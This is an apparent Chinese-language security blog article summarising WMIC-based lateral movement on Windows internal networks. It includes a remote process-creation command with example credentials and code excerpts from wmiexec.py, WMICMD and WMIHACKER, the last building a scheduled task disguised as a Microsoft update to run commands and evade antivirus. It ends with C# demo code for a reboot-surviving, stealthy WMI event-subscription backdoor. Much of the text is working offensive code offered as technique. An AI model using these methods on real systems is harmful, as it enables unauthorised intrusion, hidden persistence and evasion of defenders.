总结内网横向移动使用 wmic 执行命令的方法
本文作者:Z1NG(信安之路核心作者)
内网中,由于大多数 Windows 系统自带 wmic 命令, 所以 WMIC 是内网横向的常用方法之一,使用 WMI 的前置要求是,目标端口开放 135 端口,且允许随机一个高位端口进行通信。这是由于 WMI 是先通过 135 端口建立连接,而后通过随机的高位端口进行数据传输。
直接使用系统自带的 WMIC 进行连接,执行命令是无回显的,常常需要将执行的返回结果写入文件,再通过文件读取的方式将回显带回来。
WMIC /Node:192.168.159.130 /user:test\administrator /password:admin123! Process Call Create "cmd /c whoami > C:\Users\Test2019\AppData\Local\Temp\rs.log"
利用 net use 查看文件
net use \\192.168.159.130\c$
type \\192.168.159.130\c$\Users\Test2019\AppData\Local\Temp\rs.log
常用工具
为了更方便的利用 WMIC,已有不少开源的利用工具,此处介绍一下三个比较有代表性的利用工具。
- wmiexec.py
- wmicmd
- WMIHACKER
wmiexec.py
首先是 impacket 工具包里的 wmiexec.py。提供了通过 wmi 执行命令并回显的功能。其原理较为简单:通过 wmi 执行命令,并将执行结果保存文件,通过 smb 读取返回结果。如下是 wmiexec.py 的一个片段,其中 __output 为输出的临时文件, __transferClient 为 smb 的连接。所以,该工具的使用条件是需要 445、135 和高位随机的一个端口都允许通信。
class RemoteShell(cmd.Cmd):
def __init__(self, share, win32Process, smbConnection, shell_type, silentCommand=False):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\\' + OUTPUT_FILENAME
self.__outputBuffer = str('')
self.__shell = 'cmd.exe /Q /c '
self.__shell_type = shell_type
self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__silentCommand = silentCommand
self.__pwd = str('C:\\')
self.__noOutput = False
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self.__noOutput = True
# If the user wants to just execute a command without cmd.exe, set raw command and set no output
if self.__silentCommand is True:
self.__shell = ''
wmiexec.py 还支持无回显的方式进行命令执行。这种方式是不会建立 SMB 连接,也就不需要 445 端口的开放。
parser.add_argument('-nooutput', action='store_true', default=False, help='whether or not to print the output '
'(no SMB connection created)')
WMICMD
WMICMD 的实现原理和 wmiexec.py 有些出入。上面介绍了 WMICMD 之所以能得到回显的原因,是借助了 445 端口的 SMB 连接。而 WMICMD 能够做到不需要 445 端口就可以完成命令执行并回显。其原理是通过命令执行将执行结果写入注册表之中,再通过 WMI 对注册表进行操作,读取结果,这样一来就不需要 445 端口了。如下是 WMICMD 通过注册表获取执行结果回显的代码片段。
public string GetFilthyStdOut(string strKey)
{
StringBuilder strOut = new StringBuilder();
bool bSeenFinishedMarker = false;
Console.WriteLine("[i] Getting stdout from registry from " + strKey);
ManagementClass registry = new ManagementClass(this.Scope, new ManagementPath("StdRegProv"), null);
// Enumerate the values
ManagementBaseObject inParams = registry.GetMethodParameters("EnumValues");
inParams["sSubKeyName"] = strKey;
inParams["hDefKey"] = RegHive.HKEY_LOCAL_MACHINE;
ManagementNamedValueCollection objCtx = new ManagementNamedValueCollection();
objCtx.Add("__ProviderArchitecture", 64);
objCtx.Add("__RequiredArchitecture", true);
InvokeMethodOptions invokeOptions = new InvokeMethodOptions();
invokeOptions.Context = objCtx;
ManagementBaseObject outParams = registry.InvokeMethod("EnumValues", inParams, invokeOptions);
string[] strValues = outParams["sNames"] as string[];
WMIHACKER
WMIHACKER 也是通过将命令执行将执行结果写入到注册表,但不一样的地方是 wmiexe.py 和 wmicmd 是通过创建一个 win32Process 进程来执行命令,而 WMIHACKER 是使用事件触发器来调用 VB 代码,达到命令执行的效果。根据介绍,这种方式在当时可以绕过杀软。
如下是 WMIHACKER中AddSCHTASKWithres 函数的部分代码,可以看到,通过字符串的拼接组装构成了一个脚本代码,再利用了 ActiveScriptEventConsumer 在特定情况下会执行该脚本,避免使用了 Win32Process 来创建进程。
Function AddSCHTASKWithres(cmd,file)
Set temp = SubobjSWbemServices.Get("ActiveScriptEventConsumer")
Set asec = temp.spawninstance_
Dim Schedule_Name
Schedule_Name = genStr(6,12)
wscript.echo "WMIHACKER : The Schedule Name is " &Schedule_Name
asec.name="Windows COM Config Consumer"
Asec.scriptingengine="vbscript"
Asec.scripttext = "Const TriggerTypeDaily = 1 "&chr(10)&_
"Const ActionTypeExec = 0 "&chr(10)&_
"Set service = CreateObject(" &chr(34)&"Schedule.Service" &chr(34)&")"&chr(10)&_
"Call service.Connect"&chr(10)&_
"Dim rootFolder"&chr(10)&_
"Set rootFolder = service.GetFolder(" &chr(34)&"\" &chr(34)&")"&chr(10)&_
"Dim taskDefinition"&chr(10)&_
"Set taskDefinition = service.NewTask(0)"&chr(10)&_
"Dim regInfo"&chr(10)&_
"Set regInfo = taskDefinition.RegistrationInfo"&chr(10)&_
"regInfo.Description = " &chr(34)&"Update" &chr(34)&""&chr(10)&_
"regInfo.Author = " &chr(34)&"Microsoft" &chr(34)&""&chr(10)&_
"Dim settings"&chr(10)&_
"Set settings = taskDefinition.settings"&chr(10)&_
"settings.Enabled = True"&chr(10)&_
"settings.StartWhenAvailable = True"&chr(10)&_
"settings.Hidden = False"&chr(10)&_
"settings.DisallowStartIfOnBatteries = False"&chr(10)&_
"Dim triggers"&chr(10)&_
"Set triggers = taskDefinition.triggers"&chr(10)&_
"Dim trigger"&chr(10)&_
"Set trigger = triggers.Create(7)"&chr(10)&_
"Dim Action"&chr(10)&_
"Set Action = taskDefinition.Actions.Create(ActionTypeExec)"&chr(10)&_
"Action.Path = " &chr(34)&"c:\windows\system32\cmd.exe" &chr(34)&""&chr(10)&_
"Action.arguments = chr(34) & " &chr(34)&"/c "&cmd&" > "&file&"" &chr(34)&" & chr(34)"&chr(10)&_
"Dim objNet, LoginUser"&chr(10)&_
"Set objNet = CreateObject(" &chr(34)&"WScript.Network" &chr(34)&")"&chr(10)&_
"LoginUser = objNet.UserName"&chr(10)&_
" If UCase(LoginUser) = " &chr(34)&"SYSTEM" &chr(34)&" Then"&chr(10)&_
" Else"&chr(10)&_
" LoginUser = Empty"&chr(10)&_
" End If"&chr(10)&_
"Call rootFolder.RegisterTaskDefinition(" & chr(34) & Schedule_Name &chr(34)&", taskDefinition, 6, LoginUser, , 3)"&chr(10)&_
"Call rootFolder.DeleteTask(" &chr(34)& Schedule_Name &chr(34)&",0)"
set asecpath=asec.put_
Set temp = SubobjSWbemServices.Get("__EventFilter")
set evtflt = temp.spawninstance_
evtflt.name="Windows COM Config Filter"
evtflt.EventNameSpace="root\cimv2"
qstr = "SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
evtflt.query=qstr
evtflt.querylanguage="wql"
set fltpath=evtflt.put_
Set temp = SubobjSWbemServices.Get("__FilterToConsumerBinding")
set fcbnd = temp.spawninstance_
fcbnd.consumer=asecpath.path
fcbnd.filter=fltpath.path
fcbnd.put_
WScript.Sleep 2000 ' 2 sec
evtflt.delete_
asec.delete_
fcbnd.delete_
ReplacedFile = Replace(file,"\","\\")
strQuery = "SELECT * FROM CIM_DataFile where name="&chr(34)&ReplacedFile&chr(34)
Dim done
done = false
Do Until done
Wscript.Sleep 2000
Set colItems = objWMIService.ExecQuery(strQuery, "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
For Each objItem in colItems
return = objItem.GetEffectivePermission(2)
If return Then
WScript.Echo "WMIHACKER : File Write Success. "
done = True
Else
WScript.Echo "WMIHACKER : COMMAND EXECTING... "
End If
Next
loop
wscript.echo "WMIHACKER : COMMAND EXEC SUCCESS, Wait to write in reg."
End Function
WMI 后门
WMICHACK 中使用事件触发器来完成命令执行,不仅如此,我们可以借助使用触发器来创建一个后门,
WMI 后门创建组要分为三个部分,EventFilter,EventConsumer,FilterToConsumerBinding。个人理解EventFilter 是触发的条件,EventConsumer 是触发后所要执行的动作,FilterToConsumerBinding 则是将二者进行绑定。如下代码,是使用C#编写的一个后门 Demo,可以实现在固定间隔时间后执行特定程序,且由于WMI后门的特性,重启后仍然还在,比较隐蔽。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Management;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace WMICore
{
public partial class WMICore
{
public string CreateEventFilter(string EventName,int time)
{
ManagementClass wmiEventFilter = new ManagementClass(this.scope, new ManagementPath("__EventFilter"), null);
String strQuery = @"SELECT * FROM __InstanceModificationEvent WITHIN "+time+" WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";
WqlEventQuery myEventQuery = new WqlEventQuery(strQuery);
var myEventFilter = wmiEventFilter.CreateInstance();
myEventFilter["Name"] = EventName;
myEventFilter["Query"] = myEventQuery.QueryString;
myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
myEventFilter["EventNameSpace"] = @"\root\cimv2";
myEventFilter.Put();
var eventPath = myEventFilter.Path.RelativePath;
Console.WriteLine("[*] Event filter created :" + eventPath);
return eventPath;
}
public string CreateEventConsumer(string name,string exePath) {
var myEventConsumer = new ManagementClass(scope, new ManagementPath("CommandLineEventConsumer"), null).CreateInstance();
myEventConsumer["Name"] = name;
myEventConsumer["CommandLineTemplate"] = exePath;
myEventConsumer["ExecutablePath"] = exePath;
myEventConsumer.Put();
var eventConsumerPath = myEventConsumer.Path.RelativePath;
Console.WriteLine("[*] Consumer filter created :" + eventConsumerPath);
return eventConsumerPath;
}
public void Binder(string myEventFilter,string myEventConsumer) {
var myBinder = new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();
myBinder["Filter"] = myEventFilter;
myBinder["Consumer"] = myEventConsumer;
myBinder.Put();
Console.WriteLine("[*] Subscription created");
}
}
}
参考链接
http://www.exploit-monday.com/2016/08/wmi-persistence-using-wmic.html
Study Notes of WMI Persistence using wmic.exe (3gstudent.github.io)